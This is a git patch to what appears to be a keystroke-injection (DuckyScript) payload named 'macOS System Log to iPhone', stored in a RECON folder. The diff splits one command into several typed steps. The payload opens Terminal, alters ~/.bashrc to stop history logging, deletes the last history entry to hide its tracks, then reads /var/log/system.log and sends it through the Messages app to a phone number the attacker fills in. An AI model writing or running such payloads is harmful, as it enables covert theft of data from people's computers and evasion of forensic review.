From 69f1c55b39885b6ad1d23f5f8aa00198b78123b7 Mon Sep 17 00:00:00 2001 From: Narsty Date: Fri, 23 Jun 2023 20:40:08 -0500 Subject: [PATCH] Update macOS System Log to iPhone.txt --- RECON/ macOS System Log to iPhone.txt | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/RECON/ macOS System Log to iPhone.txt b/RECON/ macOS System Log to iPhone.txt index 0c44349..d1336b4 100644 --- a/RECON/ macOS System Log to iPhone.txt +++ b/RECON/ macOS System Log to iPhone.txt @@ -18,7 +18,13 @@ STRING terminal DELAY 1000 ENTER DELAY 500 -STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER ENTER DELAY 500 STRING x=$(cat /var/log/system.log); osascript -e 'tell application "Messages" to send "'$x'" to buddy "ENTER PHONE NUMBER HERE"'